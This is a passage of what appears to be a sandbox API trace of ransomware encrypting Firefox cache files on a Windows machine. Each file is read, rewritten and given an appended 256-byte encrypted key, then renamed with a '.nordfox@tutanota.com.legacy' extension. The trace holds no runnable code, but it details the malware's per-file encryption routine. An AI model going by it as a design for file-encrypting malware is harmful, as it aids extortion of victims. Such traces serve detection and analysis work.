[0187.769] WriteFile (in: hFile=0x1b80, lpBuffer=0x3e44020*, nNumberOfBytesToWrite=0x114f4d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3e44020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x114f4d, lpOverlapped=0x0) returned 1 [0187.783] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x114f4d [0187.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1bd8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1bd8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.783] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1bd8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.784] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.784] CloseHandle (hObject=0x1b80) returned 1 [0187.785] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\616AB700BF5ED4A444798148DA26984F3B31D83A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\616ab700bf5ed4a444798148da26984f3b31d83a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\616AB700BF5ED4A444798148DA26984F3B31D83A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\616ab700bf5ed4a444798148da26984f3b31d83a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0187.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2838 | out: pbBuffer=0x30e2838) returned 1 [0187.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0187.787] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4", dwFileAttributes=0x80) returned 1 [0187.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2208 [0187.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.788] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5fe82a8dd7c9014aee2aaa31ed2abedabd77e7c4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0187.788] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4449) returned 1 [0187.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1161) returned 0x30f3888 [0187.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1161) returned 0x30f49f8 [0187.788] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1161, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1161, lpOverlapped=0x0) returned 1 [0187.899] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.899] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49f8*, nNumberOfBytesToWrite=0x1161, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1161, lpOverlapped=0x0) returned 1 [0187.899] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1161 [0187.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2838*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2838*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.900] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2838*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2838*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.900] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.900] CloseHandle (hObject=0x1b80) returned 1 [0187.900] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5fe82a8dd7c9014aee2aaa31ed2abedabd77e7c4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5fe82a8dd7c9014aee2aaa31ed2abedabd77e7c4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0187.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2208 | out: pbBuffer=0x30e2208) returned 1 [0187.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.902] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158", dwFileAttributes=0x80) returned 1 [0187.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2b50 [0187.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.903] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f6ca4b735a819e20bf4c478266384c8a4b7c158"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0187.903] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1050) returned 1 [0187.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x41a) returned 0x619c48 [0187.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x41a) returned 0x30f3888 [0187.903] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x41a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x41a, lpOverlapped=0x0) returned 1 [0187.904] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1050, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.904] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x41a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x41a, lpOverlapped=0x0) returned 1 [0187.905] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x41a [0187.905] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.905] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2208*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2208*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.905] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2208*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2208*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.905] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.905] CloseHandle (hObject=0x1b80) returned 1 [0187.905] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f6ca4b735a819e20bf4c478266384c8a4b7c158"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f6ca4b735a819e20bf4c478266384c8a4b7c158.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0187.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2e68 | out: pbBuffer=0x30e2e68) returned 1 [0187.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.963] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C", dwFileAttributes=0x80) returned 1 [0187.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2b50 [0187.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.963] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f48faabc36b7b66aac3820f4c14377e7ce7af5c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0187.964] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5249) returned 1 [0187.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1481) returned 0x30f3888 [0187.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1481) returned 0x30f4d18 [0187.964] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1481, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1481, lpOverlapped=0x0) returned 1 [0187.982] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.982] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4d18*, nNumberOfBytesToWrite=0x1481, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4d18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1481, lpOverlapped=0x0) returned 1 [0187.982] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1481 [0187.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2e68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2e68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.983] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2e68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2e68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.983] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.983] CloseHandle (hObject=0x1b80) returned 1 [0187.983] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f48faabc36b7b66aac3820f4c14377e7ce7af5c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f48faabc36b7b66aac3820f4c14377e7ce7af5c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0187.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2838 | out: pbBuffer=0x30e2838) returned 1 [0187.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F", dwFileAttributes=0x80) returned 1 [0187.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2940 [0187.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5e4954707b44e5a4b4acf5f22b52219a1dca477f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0187.986] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17533) returned 1 [0187.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x447d) returned 0x30e3060 [0187.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x447d) returned 0x30e74e8 [0187.986] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x447d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x447d, lpOverlapped=0x0) returned 1 [0188.008] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-17533, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.008] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e74e8*, nNumberOfBytesToWrite=0x447d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e74e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x447d, lpOverlapped=0x0) returned 1 [0188.008] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x447d [0188.008] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.008] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2838*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2838*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.008] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2838*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2838*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.009] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.009] CloseHandle (hObject=0x1b80) returned 1 [0188.009] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5e4954707b44e5a4b4acf5f22b52219a1dca477f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5e4954707b44e5a4b4acf5f22b52219a1dca477f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1de8 | out: pbBuffer=0x30e1de8) returned 1 [0188.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47", dwFileAttributes=0x80) returned 1 [0188.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2520 [0188.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.011] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d44ac703c53cc7ee6356f698fd1b03da81ffe47"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.011] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8600) returned 1 [0188.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2198) returned 0x30f3888 [0188.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2198) returned 0x30e3060 [0188.011] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x2198, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x2198, lpOverlapped=0x0) returned 1 [0188.038] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.038] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3060*, nNumberOfBytesToWrite=0x2198, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2198, lpOverlapped=0x0) returned 1 [0188.038] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2198 [0188.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1de8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1de8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.039] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1de8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1de8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.039] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.039] CloseHandle (hObject=0x1b80) returned 1 [0188.039] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d44ac703c53cc7ee6356f698fd1b03da81ffe47"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d44ac703c53cc7ee6356f698fd1b03da81ffe47.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1188 | out: pbBuffer=0x30e1188) returned 1 [0188.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0188.047] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9", dwFileAttributes=0x80) returned 1 [0188.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2b50 [0188.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.047] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d3521e1d174fcb4103705b4338e3ab106525cc9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.048] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1236) returned 1 [0188.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x619c48 [0188.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x30f3888 [0188.048] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0188.049] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.049] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, 